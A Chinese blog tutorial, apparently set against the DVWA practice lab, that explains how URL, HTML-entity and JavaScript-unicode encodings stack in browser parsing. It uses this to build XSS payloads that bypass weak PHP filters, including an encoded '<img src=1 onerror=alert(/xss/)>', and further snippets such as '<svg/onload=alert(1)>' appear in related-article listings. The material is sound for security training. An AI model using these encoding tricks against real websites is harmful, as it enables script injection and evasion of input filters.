首先我们应当了解,当我们发送一个请求链接时,服务器与客户端都发生了什么

这里仅涉及到js的编码问题,因此就编码来说,首先我们确定我们发出的请求是采用GET的方式还是采用POST的方式

若采用GET的方式,则客户是通过URL地址发送请求链接,既然是URL链接就需要对其进行URL编码,客户端首先对其进行URL编码,之后发送给服务器端,服务器端受到该GET请求后,首先解析请求链接,因此就对URL进行解码,之后针对该请求回复一个RESPONSE,其中RESPONSE中与URL相关的内容是经过URL解码之后的信息,这样第一步就完成了,其中URL编码规则如下:

%十六进制

之后将RESPONSE封装好之后发送给客户端,客户端中的游览器就开始解析该RESPONSE,并呈现给用户。

在解析RESPONSE时会遵循以下解析原则:

1.是HTML代码,会使用HTML解析器对其进行HTML解码,此时HTML的编码解码转换就是:若存在一些特殊字符时将HTML编码为实体编码,在解码时就是将实体编码转化为HTML正常的字符。

2.JS代码,当HTML解析器解析中遇见<script>等JS代码时,会调用JAVASCRIPT解析器进行解析。这里的javascript解码并不需要转化为特殊的字符,而是说他能解析一些js脚本语言像alert(11),遇到这个它就会弹出相应的11,触发一定的游览器操作。

因此整个过程如下:

当存在GET请求时:

服务器URL解码--------->客户端HTML解码---------------->客户端JAVASCRIPT解码

此时对我们要求的编码顺序就刚好相反:

客户端JAVASCRIPT编码--------------->客户端HTML编码------>URL编码

只有这样发送出去的信息才能达到我们想要接受的效果,这里以DVWA为例举两个简单的例子:

0x01 1.HTML->JS

<?php
function htmlencode($str){
   if(empty($str)) return;
   if($str == "") return;
   $str = str_ireplace("<","",$str);
   $str = str_ireplace(">","",$str);
   $str = str_ireplace("script","",$str);
   $str = str_ireplace("img","",$str);
   $str = str_ireplace(":","",$str);
   $str = str_ireplace("javascript","",$str);
   return $str;
}
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
 $isempty = true;
} else {
 $html .= '<pre>';
 $html .= '<a onclick=" ' .htmlencode($_GET['name']).'">click this url</a>';
 $html .= '</pre>';
 echo "$html";
}
?>
 
<html>
<script>
 
</script>
</html>

分析该源码,我们首先从GET请求中的name参数开始分析,既然是GET请求,那么我们最终是通过URL地址的方式提交该请求,因此服务器刚开始做的便是URL解码。

服务器收到请求之后将其URL解码之后的内容嵌入到RESPONSE中发送给客户端,之后客户端游览器收到RESPONSE开始解析

首先因为name还在一个<a>的HTML标签中,因此name会进行HTML解码,解码之后遇到onclick才会开始调用javascript解析器进行js解码,根据这种分析,我们想要构造的XSS应该刚好反向进行编码,首先是js编码就是普通的js语句,如alert(11),之后再使用HTML编码,即将js语句转化为HTML实体编码,最后再进行URL编码。

语句的转化结果如下:

JS编码 HTML编码 URL编码
alert(11) alert(11) %26%23x61%3b%26%23x6C%3b%26%23x65%3b%26%23x72%3b%26%23x74%3b%26%23x28%3b%26%23x31%3b%26%23x31%3b%26%23x29%3b

那么最终的payload即为最后的URL编码,效果如下:

0x02 JS->HTML

代码如下:

<?php
if(!array_key_exists ("name",$_GET) || $_GET['name'] == NULL || $_GET['name'] == ''){
   $isempty = true;
} else {
   $value = $_GET['name'];
   $html .= '<pre>';
   $html .= "Your Name is :
       <div id='a'></div>
       <script>
           document.getElementById('a').innerHTML= "."'".htmlspecialchars($value)."'".";
       </script>
 ";
   $html .= '</pre>';
echo "$html";
}
 
?>

分析上面源码,首先name是从GET请求中获取,因此最后同上要进行URL编码,而后将服务器将收到的URL进行解码并嵌入RESPONSE中发送给客户端,遇到<Script>标签后将调用JAVASCRIPT解析器进行JS解析,其中如果存在变量那么将使用JS对其进行解码,解码之后再通过HTML进行HTML解码。

因此构造的顺序与其刚好相反,先是对XSS语句进行HTML编码,而这里HTML不需要转化为实体编码,最后再对其进行JS编码,最后再进行URL编码,从而形成最终的PAYLOAD。

其中的转化语句如下:

HTML编码 <img src=1 onerror=alert(/xss/)>
JS编码 \u003c\u0069\u006d\u0067\u0020\u0073\u0072\u0063\u003d\u0031\u0020\u006f\u006e\u0065\u0072\u0072\u006f\u0072\u003d\u0061\u006c\u0065\u0072\u0074\u0028\u002f\u0078\u0073\u0073\u002f\u0029\u003e
URL编码 %5cu003c%5cu0069%5cu006d%5cu0067%5cu0020%5cu0073%5cu0072%5cu0063%5cu003d%5cu0031%5cu0020%5cu006f%5cu006e%5cu0065%5cu0072%5cu0072%5cu006f%5cu0072%5cu003d%5cu0061%5cu006c%5cu0065%5cu0072%5cu0074%5cu0028%5cu002f%5cu0078%5cu0073%5cu0073%5cu002f%5cu0029%5cu003e
   

测试效果如下:

0x03 总结

发现如果使用GET请求,那么除了最后一次URL编码之外之需要进行一次编码操作

归纳为,如果是在HTML解析器中执行的解码那么只需要调用一次HTML编码操作,如果是在JAVASCRIPT解析器中进行的解码那么只需要调用一次JAVASCRIPT解码操作。

XSS编码初析的更多相关文章

  1. Struts2之ajax初析

    Web2.0的随波逐流,Ajax那是大放异彩,Struts2框架自己整合了对Ajax的原生支持(struts 2.1.7+,之前的版本可以通过插件实现),框架的整合只是使得JSON的创建变得异常简单, ...

  2. XSS编码与绕过

     XSS编码与绕过 0x00 背景 对于了解web安全的朋友来说,都知道XSS这种漏洞,其危害性不用强调了.一般对于该漏洞的防护有两个思路:一是过滤敏感字符,诸如[<,>,script,' ...

  3. XSS编码问题的个人总结

    XSS也太太太难了,主要也是因为自己没花时间集中. 文章脉络:根据我粗浅的理解,从开始学习XSS到现在,从一开始的见框就插到现在去学构造.编码,首先需要的是能看懂一些payload,然后再去深入理解. ...

  4. xss挖掘初上手

    本文主要总结了xss可能出现的场景.偏向于案例,最后分享一哈简单的绕过和比较好用的标签. 1.搜索框 首先看能否闭合前面的标签. 如输入111”><svg/onload=alert(1)& ...

  5. xss编码小结

    一.JS编码与HTML编码区分: HTML实体可以使用十进制与十六进制编码:javascript可以使用Unicode与八进制与十六进制进行编码. 二.编码原理区分: 三.编码与非编码 对于JS编码: ...

  6. XSS漏洞初窥(通过dvwa平台进测试)

    xss的全称是:Cross Site Script,中文名叫“跨站脚本攻击”,因为和CSS重名,所以改名XSS.作为一个网站是肯定要和用户有交互的,那么肯定就伴随着信息的输入输出,而利用xss就是通过 ...

  7. XSS与字符编码的那些事儿

    目录 0x00:基本介绍 0x01:html实体编码 0x02:新增的实体编码 实体编码变异以及浏览器的某些工作原理! 0x03:javascript编码 0x04:base64编码 0x05:闲扯 ...

  8. " XSS易容术---bypass之编码混淆篇+辅助脚本编写"

    一.前言本文原创作者:vk,本文属i春秋原创奖励计划,未经许可禁止转载!很多人对于XSS的了解不深.一提起来就是:“哦,弹窗的”.”哦,偷cookie的.”骚年,你根本不知道什么是力量.虽然我也不知道 ...

  9. xss的编码原理

    把以前的笔记翻出来整理一下 最前方 xss如何选用编码原理,为什么 找到的挺清楚的文章了:https://www.cnblogs.com/p0laris/p/11898322.html浏览器解析有两种 ...

随机推荐

  1. 安装 Node 和 gulp

    gulp 是基于 node 实现的,那么我们就需要先安装 node. Node 是一个基于Chrome JavaScript V8引擎建立的一个平台,可以利用它实现 Web服务,做类似PHP的事. 打 ...

  2. 函数的上下文就是函数里面的this是谁

    规律1:函数用圆括号调用,函数的上下文是window对象 比如小题目: function fun(){ var a = 888; alert(this.a); //实际上访问的是window.a } ...

  3. Opencv探索之路(十九):读写xml和yml文件

    有时候我们处理完图像后需要保存一下数据到文件上,以供下一步的处理.一个比较广泛的需求场景就是:我们对一幅图像进行特征提取之后,需要把特征点信息保存到文件上,以供后面的机器学习分类操作.那么如果遇到这样 ...

  4. iOS 实现类似QQ分组样式的几种方式

    思路 思路很简单,对模型数据操作或则控制界面显示 先看下json部分数据 "chapterDtoList": [{ "token": null, "i ...

  5. Ambari2.5.3卸载smartsense

    第一步,确定SmartSence服务均已关闭 curl -u admin:$PASSWORD -i -H 'X-Requested-By: ambari' -X PUT -d '{"Requ ...

  6. nopCommerce 3.9 大波浪系列 之 路由扩展 [多语言Seo的实现]

    一.nop种的路由注册 在Global.asax,Application_Start()方法中会进行路由注册,代码如下. public static void RegisterRoutes(Route ...

  7. 【NOIP模拟】roads(最短路径转最小生成树)

    题目背景 SOURCE:NOIP2016-RZZ-1 题目描述 有 N 个城市,这些城市通过 M 条无向边互相连通,每条边有一个权值 Ci ,表示这条边的长度为 2^(Ci) ,没有两条边的长度是相同 ...

  8. 三.GC相关之三分钟认识GC算法

    GC算法慢慢演化,进化到了现在的分代GC.其进化过程 标记-清除算法 –> 标记-复制算法 –> 标记-整理算法 –> 分代算法. 在介绍算法之前,我们知道Java是动态加载.其特点 ...

  9. Java实现简单文件过滤器

    输入路径查找该路径下的指定文件类型的文件 代码思路: 想要循环遍历文件夹下所有子文件夹,就要用到递归. 首先判断路径是否存在: 是:获取文件 判断是否文件夹: 是:调用自身,继续获取子文件夹下内容 否 ...

  10. 再起航,我的学习笔记之JavaScript设计模式02

    我的学习笔记是根据我的学习情况来定期更新的,预计2-3天更新一章,主要是给大家分享一下,我所学到的知识,如果有什么错误请在评论中指点出来,我一定虚心接受,那么废话不多说开始我们今天的学习分享吧! 我们 ...